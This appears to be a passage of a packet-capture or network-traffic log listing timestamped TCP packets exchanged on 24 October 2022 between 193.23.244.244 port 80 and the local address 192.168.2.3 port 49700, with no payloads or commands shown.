Oct 24, 2022 11:09:02.962744951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962778091 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.962780952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962804079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962827921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962846041 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.962850094 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962882996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962903976 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.962907076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962929964 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962945938 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.962951899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962975025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962979078 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.962997913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963017941 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.963021040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963043928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963062048 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.963076115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963099003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963136911 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.963172913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.963259935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963346958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963399887 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.963613987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963638067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.963684082 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964437008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964463949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964487076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964509964 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964528084 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964535952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964560032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964576006 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964582920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964605093 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964620113 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964628935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964652061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964658022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964673042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964695930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964704037 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964719057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964741945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.964751005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.964792013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.972680092 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972737074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972780943 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972826004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972856998 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.972863913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972906113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972912073 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.972944021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.972980022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.972981930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973043919 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973051071 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973093987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973135948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973145008 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973179102 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973221064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973237038 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973263025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973304987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973323107 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973344088 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973385096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973397970 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973428011 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973472118 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973484993 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973510027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973539114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973565102 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973567963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973598003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973625898 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973628044 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973678112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973685980 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973722935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973764896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973773956 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973808050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973853111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973860025 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973895073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973927021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973954916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.973956108 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.973984957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974018097 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.974019051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974047899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974077940 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.974078894 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974108934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974137068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974138975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.974164963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974190950 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.974193096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.974245071 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.974313021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975725889 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975759983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975790977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975822926 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975852013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975881100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975867033 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.975912094 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975922108 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.975943089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975955963 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.975975037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.975977898 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976006031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976027012 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976036072 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976064920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976093054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976102114 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976136923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976166010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976196051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976197958 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976219893 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976224899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976253986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976281881 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976284027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976311922 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976320982 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976341009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976378918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976386070 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976408005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976438046 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976445913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976465940 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976495028 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976516962 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.976524115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.976566076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984390020 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984448910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984492064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984522104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984551907 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984555960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984586954 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984591961 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984628916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984649897 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984663010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984699965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984705925 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984736919 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984774113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984777927 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984828949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984867096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984877110 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984901905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984937906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.984946012 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.984977007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.985021114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.985023975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.985065937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.985131979 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991463900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991517067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991554976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991592884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991628885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991628885 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991666079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991694927 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991714001 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991724968 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991746902 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991785049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991800070 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991823912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991862059 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991878986 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991899014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991936922 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.991949081 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.991974115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992014885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992024899 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992052078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992089033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992115021 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992129087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992171049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992175102 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992208004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992244959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992258072 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992280960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992317915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992333889 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992355108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992389917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992403030 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992427111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992485046 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992543936 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992580891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992616892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992628098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992654085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992690086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992702007 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992727041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992763996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992788076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992799997 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992836952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992866039 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.992873907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.992921114 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.001425028 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001494884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001534939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001574993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001647949 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.001712084 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.001722097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001766920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001843929 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.001852036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001882076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001905918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001934052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.001950026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.001991034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002057076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002063036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002090931 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002115965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002136946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002137899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002161026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002166033 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002183914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002206087 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002206087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002230883 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002255917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002268076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002281904 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002305984 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002306938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002334118 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002358913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002362967 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002386093 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002409935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002434015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002435923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002458096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002482891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002491951 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002509117 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002535105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002545118 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002561092 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002583027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002583981 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002605915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002609015 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002628088 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002651930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002651930 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002672911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002696037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002712011 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002720118 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002743006 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.002743959 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.002789974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003532887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003561974 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003581047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003597975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003616095 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003632069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003643036 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003649950 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003668070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003688097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003703117 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003705025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003722906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003732920 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003741026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003757000 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003758907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003776073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003782988 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003793955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003813028 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003823042 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003829956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003848076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003859043 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003865004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003884077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003885984 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003901958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003930092 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003937960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003956079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003976107 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.003982067 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.003997087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.004014969 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.004019022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.004031897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.004050970 CEST	80	49700	193.23.244.244	192.168.2.3
